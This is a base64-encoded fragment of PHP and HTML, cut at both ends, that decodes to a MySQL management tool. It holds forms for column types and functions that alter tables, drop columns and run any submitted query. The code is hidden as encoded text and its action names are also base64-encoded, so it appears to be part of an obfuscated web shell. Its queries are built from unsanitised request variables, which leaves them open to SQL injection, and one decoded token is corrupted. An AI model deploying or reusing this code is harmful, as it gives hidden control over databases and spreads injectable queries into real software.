NQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFor0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ